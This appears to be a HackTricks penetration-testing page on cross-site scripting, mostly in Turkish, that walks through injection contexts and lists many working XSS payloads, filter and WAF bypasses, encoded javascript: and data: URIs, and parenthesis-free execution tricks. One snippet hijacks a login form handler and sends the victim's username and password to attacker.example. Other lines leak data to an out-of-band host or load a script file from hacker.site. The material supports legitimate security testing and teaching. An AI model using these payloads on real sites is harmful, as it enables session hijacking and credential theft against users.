XSS (Cross Site Scripting)
Reading time: 53 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Metodoloji
- Kontrol ettiğiniz herhangi bir değer (parameters, path, headers?, cookies?) HTML'de yansıtılıyor veya JS kodu tarafından kullanılıyor mu diye kontrol edin.
- Yansıtıldığı/kullanıldığı bağlamı bulun.
- Eğer yansıtılıyorsa
- Hangi sembolleri kullanabileceğinizi kontrol edin ve buna göre payload'u hazırlayın:
- raw HTML içinde:
- Yeni HTML tag'leri oluşturabiliyor musunuz?
javascript:
protokolünü destekleyen event'leri veya attribute'ları kullanabiliyor musunuz?- Korumaları atlatabilir misiniz?
- HTML içeriği herhangi bir client side JS motoru (AngularJS, VueJS, Mavo...) tarafından yorumlanıyor mu? Bu durumda bir Client Side Template Injection suistimal edilebilir.
- Eğer JS çalıştıran HTML etiketleri oluşturamıyorsanız, bir Dangling Markup - HTML scriptless injection suistimal edilebilir mi?
- Bir HTML tag içinde:
- Attribute'tan ve tag'ten kaçıp raw HTML bağlamına çıkabilir misiniz?
- JS kodu çalıştırmak için yeni event/attribute'lar oluşturabilir misiniz?
- Değerin yansıtıldığı attribute JS çalıştırmayı destekliyor mu?
- Korumaları atlatabilir misiniz?
- JavaScript kodu içinde:
<script>
tag'inden çıkabilir misiniz?- String'den kaçıp farklı JS kodu çalıştırabilir misiniz?
- Girdiniz template literal (
``
) içinde mi? - Korumaları atlatabilir misiniz?
- Çalıştırılan Javascript fonksiyonu
- Çalıştırılacak fonksiyonun adını belirtebilirsiniz. Örnek:
?callback=alert(1)
- Eğer kullanılıyorsa:
- Bir DOM XSS suistimal edebilirsiniz; girdinizin nasıl kontrol edildiğine ve kontrol edilen girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken şu konu ilginizi çekebilir:
Yansıtılan değerler
Başarılı bir XSS exploit'i için ilk bulmanız gereken şey web sayfasında sizin tarafınızdan kontrol edilen ve yansıtılan bir değerdir.
- Ara aşamada yansıtılan: Eğer bir parametrenin veya path'in değeri web sayfasında yansıtılıyorsa Reflected XSS'ten faydalanabilirsiniz.
- Stored ve yansıtılan: Eğer sizin kontrolünüzdeki bir değer sunucuda saklanıyor ve bir sayfaya erişimde her seferinde yansıtılıyorsa Stored XSS suistimal edilebilir.
- JS tarafından erişilen: Eğer sizin kontrolünüzdeki bir değere JS ile erişiliyorsa DOM XSS suistimal edilebilir.
Bağlamlar
XSS'i exploit etmeye çalışırken ilk bilmeniz gereken şey girdinizin nerede yansıtıldığıdır. Bağlama bağlı olarak JS kodunu farklı yollarla çalıştırabilirsiniz.
Raw HTML
Girdiniz raw HTML içinde yansıtılıyorsa JS kodu çalıştırmak için bazı HTML tag'lerini suistimal etmeniz gerekir: <img , <iframe , <svg , <script
... bunlar kullanabileceğiniz birçok HTML etiketinden sadece birkaçıdır.
Ayrıca Client Side Template Injection aklınızda olsun.
HTML tag attribute değeri içinde
Girdiniz bir tag'ın attribute değerinin içinde yansıtılıyorsa şu denemeleri yapabilirsiniz:
- Attribute'tan ve tag'ten kaçmak (o zaman raw HTML bağlamında olursunuz) ve suistimal etmek için yeni HTML tag'i oluşturmak:
"><img [...]
- Eğer attribute'tan kaçabiliyor ama tag'ten kaçamıyorsanız (
>
encode edilip siliniyorsa), tag'e bağlı olarak JS kodu çalıştıran bir event oluşturabilirsiniz:" autofocus onfocus=alert(1) x="
- Eğer attribute'tan kaçamıyorsanız (
"
encode ediliyor veya siliniyorsa), hangi attribute içinde değerin yansıtıldığına ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu suistimal edebilirsiniz. Örneğin,onclick=
gibi bir event'i kontrol ediyorsanız, tıklandığında arbitrar kod çalıştırabilirsiniz. Diğer ilginç bir örnekhref
attribute'üdür; buradajavascript:
protokolünü kullanarak arbitrar kod çalıştırabilirsiniz:href="javascript:alert(1)"
- Girdiniz "suistimal edilemez tag'lar" içinde yansıtılıyorsa
accesskey
hilesini deneyebilirsiniz (bunu exploit etmek için bir çeşit sosyal mühendislik gerekir):" accesskey="x" onclick="alert(1)" x="
Angular'ın bir class adını kontrol etmeniz durumunda XSS çalıştırdığı garip örnek:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript kodu içinde
Bu durumda girdiniz bir HTML sayfasının <script> [...] </script>
etiketleri arasında, bir .js
dosyasının içinde veya javascript:
protokolünü kullanan bir attribute içinde yansıtılmıştır:
- Eğer girdiniz
<script> [...] </script>
etiketleri arasına yansıtıldıysa, girişiniz herhangi bir tür tırnak içinde olsa bile</script>
enjekte ederek bu bağlamdan çıkmayı deneyebilirsiniz. Bu, tarayıcı önce HTML etiketlerini ayrıştıracağı ve sonra içeriği işleyeceği için çalışır; dolayısıyla enjekte ettiğiniz</script>
etiketinin HTML kodu içinde olduğunu fark etmez. - Eğer inside a JS string içinde yansıtıldıysa ve önceki numara işe yaramıyorsa, string'ten exit etmeniz, kodunuzu execute etmeniz ve JS kodunu reconstruct etmeniz gerekir (herhangi bir hata olursa kod çalıştırılmaz:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Eğer template literals içinde yansıtıldıysa,
${ ... }
sözdizimini kullanarak JS ifadelerini embed edebilirsiniz:var greetings =
Hello, ${alert(1)}`` - Unicode encode geçerli javascript code yazmak için işe yarar:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirebilme imkânını ifade eder; bu, bir XSS'in bildirilmeyen değişkenleri veya fonksiyonları kullandığı senaryoları istismar etmenizi sağlar.
Daha fazla bilgi için şu sayfayı inceleyin:
Javascript Function
Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc
.
Kullanıcıdan doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (ör. 'Vulnerable') ve console'da şu tür hatalara bakmaktır:
Eğer vulnerable ise, yalnızca şu değeri göndererek bir alert tetikleyebilirsiniz: ?callback=alert(1)
. Ancak bu endpoint'lerin içeriği genellikle sadece harf, rakam, nokta ve alt çizgi ([\w\._]
) kabul edecek şekilde doğrulama yaptığını görmek yaygındır.
Ancak bu sınırlama olsa bile bazı işlemleri gerçekleştirmek mümkün. Bunun sebebi, bu geçerli karakterleri kullanarak DOM'daki herhangi bir elemana erişebilmenizdir:
Bazı faydalı fonksiyonlar için:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders
.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
There is JS code that is using unsafely some data controlled by an attacker like location.href
. An attacker, could abuse this to execute arbitrary JS code.
Universal XSS
These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on any context. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, read arbitrary files in clients and servers, and more.
Some examples:
WAF bypass encoding image
Injecting inside raw HTML
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse <
to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Not: A HTML comment can be closed using****-->
****or **--!>
****
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Ama, eğer tags/attributes black/whitelisting kullanılıyorsa, hangi tags'leri oluşturabileceğinizi brute-force ile tespit etmeniz gerekir.\
Hangi tags'lerin izinli olduğunu bulduktan sonra, bulunduğunuz geçerli tags içinde hangi attributes/events'in kullanılabildiğini brute-force ederek bağlama nasıl saldırabileceğinizi görmelisiniz.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
Eğer hiçbir geçerli HTML tag'i bulamadıysanız, custom tag oluşturmaya çalışabilir ve onfocus
attribute'u ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi #
ile sonlandırmanız gerekir; bu sayfanın o nesneye focus olmasını ve kodu execute etmesini sağlar:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Eğer bir tür blacklist kullanılıyorsa, onu bazı basit hilelerle bypass etmeyi deneyebilirsiniz:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload burada bulunabilir ve burada.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Sonuncusu 2 unicode karakteri kullanıyor ve 5'e genişliyor: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
Eğer açığı istismar etmek için kullanıcının önceden doldurulmuş verilerle bir linke veya forma tıklaması gerekiyorsa, abuse Clickjacking (eğer sayfa savunmasızsa) deneyebilirsiniz.
Impossible - Dangling Markup
Eğer sadece HTML tagi içinde bir attribute ile JS kodu çalıştırmanın imkansız olduğunu düşünüyorsanız, Danglig Markup kontrol etmelisiniz çünkü açığı exploit ederek JS çalıştırmadan faydalanabilirsiniz.
HTML etiketi içine enjeksiyon
Etiket içinde / attribute değerinden kaçış
Eğer HTML etiketi içinde iseniz, ilk deneyeceğiniz şey etiketten kaçmak ve JS kodu çalıştırmak için previous sectionda bahsedilen tekniklerden bazılarını kullanmak olabilir.
Eğer etiketten kaçamazsanız, JS kodu çalıştırmayı denemek için etiket içine yeni attribute'lar oluşturabilirsiniz; örneğin şöyle bir payload kullanarak (bu örnekte attribute'dan kaçmak için çift tırnak kullanıldığına dikkat edin; girdiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmaz):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stil olayları
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Öznitelik içinde
Even if you cannot escape from the attribute ("
is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick=
you will be able to make it execute arbitrary code when it's clicked.
Another interesting example is the attribute href
, where you can use the javascript:
protocol to execute arbitrary code: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Note that any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Not: URL encode de çalışacaktır:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Event içinde Unicode encode kullanarak Bypass
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Öznitelik içinde özel protokoller
Orada bazı yerlerde protokoller javascript:
veya data:
kullanarak keyfi JS kodu çalıştırabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Bu protokolleri enjekte edebileceğiniz yerler
Genel olarak javascript:
protokolü href
özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çoğu src
özniteliğini kabul eden etikette de kullanılabilir (ancak <img>
değil).
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Diğer obfuscation hileleri
Bu durumda önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir çünkü bir öznitelik içinde bulunuyorsunuz.
<a href="javascript:var a=''-alert(1)-''">
Ayrıca, bu durumlar için başka bir güzel hile daha var: javascript:...
içindeki girdiniz URL encoded olsa bile, çalıştırılmadan önce URL decoded edilecektir. Dolayısıyla, single quote kullanarak string'den escape etmeniz gerekiyorsa ve it's being URL encoded olduğunu görürseniz, unutmayın ki önemli değil, execution sırasında single quote olarak interpreted edilecektir.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Dikkat: eğer her ikisini de URLencode + HTMLencode
'i herhangi bir sırayla kullanarak payload'ı encode etmeye çalışırsanız bu çalışmayacaktır, ancak payload içinde bunları karıştırabilirsiniz.
Hex ve Octal encode'i javascript:
ile kullanma
En azından iframe
'in src
özniteliği içinde Hex ve Octal encode kullanarak JS çalıştıracak HTML taglarını belirtebilirsiniz:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Eğer rastgele bir <a href=
etiketi içine herhangi bir URL enjekte edebiliyorsanız ve bu etiket target="_blank" and rel="opener"
özniteliklerini içeriyorsa, bu davranışı suistimal etmek için aşağıdaki sayfayı kontrol edin:
on Event Handlers Bypass
Öncelikle faydalı "on" event handlers için bu sayfayı kontrol edin (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
Eğer bazı blacklist'ler bu event handler'ları oluşturmanızı engelliyorsa, aşağıdaki bypass'ları deneyebilirsiniz:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS 'Unexploitable tags' içinde (hidden input, link, canonical, meta)
Buradan artık hidden inputs şu yöntemlerle kötüye kullanılabiliyor:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Ve meta etiketlerinde:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Kaynak here: Bir XSS payload hidden attribute içinde çalıştırabilirsiniz; yeter ki ikna edebilirseniz kurbanı tuş kombinasyonunu basmaya. Firefox (Windows/Linux) için tuş kombinasyonu ALT+SHIFT+X ve OS X için CTRL+ALT+X'dir. access key attribute içinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload şu şekilde olacak: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Bu bölümde farklı encoding kullanılarak yapılan birkaç hile zaten gösterildi. Geri dönerek nerede kullanabileceğinizi öğrenin:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Önceki bölüme ait Blacklist Bypasses of the previous section kısmına bakın.
Bypasses for JavaScript code
Aşağıdaki bölümdeki JavaScript bypass blacklist of the following section kısmını okuyun.
CSS-Gadgets
Eğer web'in çok küçük bir kısmında etkileşim gerektiren bir XSS bulduysanız (ör. footer'da onmouseover içeren küçük bir link), linkin tetiklenme ihtimalini maksimize etmek için o elementin kapladığı alanı değiştirmeyi deneyebilirsiniz.
For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ancak WAF style attribute'u filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şunu bulursanız
.test {display:block; color: blue; width: 100%}
ve
#someid {top: 0; font-family: Tahoma;}
Şimdi linkimizi şu forma getirebilirsiniz
<a href="" id=someid class=test onclick=alert() a="">
Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Bu durumda input'ınız bir .js
dosyasının JS kodu içinde veya <script>...</script>
tagları arasında ya da JS kodu çalıştırabilen HTML event'leri arasında veya javascript:
protokolünü kabul eden attributes arasında yansıtılacaktır.
Escaping <script> tag
Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script>
içine yansıtılıyorsa, kolayca </script>
kapanışını kaçırabilirsiniz:
</script><img src=1 onerror=alert(document.domain)>
Note that in this example we haven't even closed the single quote. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
JS kodu içinde
Eğer <>
filtreleniyorsa, girdinizin bulunduğu yerde string'i escape ederek yine de herhangi bir JS çalıştırabilirsiniz. JS sözdizimini düzeltmek önemlidir; çünkü herhangi bir hata olursa JS kodu çalıştırılmaz:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Kullanıcı girdisi alıntılanmış bir JavaScript stringinin içine düştüğünde (ör. server-side echo into an inline script), stringi sonlandırabilir, kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Zafiyetli parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni:
?param=test";<INJECTION>;a="
Bu, HTML bağlamına dokunmaya gerek kalmadan saldırgan JS'in çalıştırılmasını sağlar (saf JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
Template literals ``
Tekli ve çift tırnakların dışında strings oluşturmak için JS ayrıca backticks ``
kabul eder. Bu, template literals olarak bilinir çünkü ${ ... }
sözdizimini kullanarak embedded JS expressions'e izin verir.
Dolayısıyla, girdinizin backticks kullanan bir JS stringinin içinde reflected edildiğini görürseniz, ${ ... }
sözdizimini kötüye kullanarak arbitrary JS code çalıştırabilirsiniz:
Bu, şu şekilde kötüye kullanılabilir:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Kodun kodlanarak yürütülmesi
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
eval(atob()) ve scope nüansları içeren teslim edilebilir payloads
URL'leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için gerçek mantığınızı base64 ile kodlayıp eval(atob('...'))
ile çalıştırabilirsiniz. Basit anahtar kelime filtreleri alert
, eval
veya atob
gibi identifier'ları engelliyorsa, tarayıcıda tamamen aynı şekilde derlenen ancak string-eşleştirme filtrelerinden kaçan Unicode-escaped identifiers kullanın:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Önemli kapsam nüansı: const
/let
ile eval()
içinde bildirilenler blok kapsamlıdır ve global oluşturmaz; daha sonraki scriptlerden erişilemezler. Gerekli olduğunda global, non-rebindable hooks tanımlamak için dinamik olarak enjekte edilmiş bir <script>
elementini kullanın (ör. bir form handler'ı hijack etmek için):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode ile JS yürütmeyi kodlama
alert(1)
alert(1)
alert(1)
JavaScript blacklistleri atlatma teknikleri
Stringler
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Özel kaçışlar
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS kodu içindeki boşluk ikameleri
<TAB>
/**/
JavaScript yorumları (kaynak: JavaScript Comments trick)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript yeni satırlar (kaynak JavaScript new line hile)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript boşluk karakterleri
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript bir yorumun içinde
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript parantezsiz
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
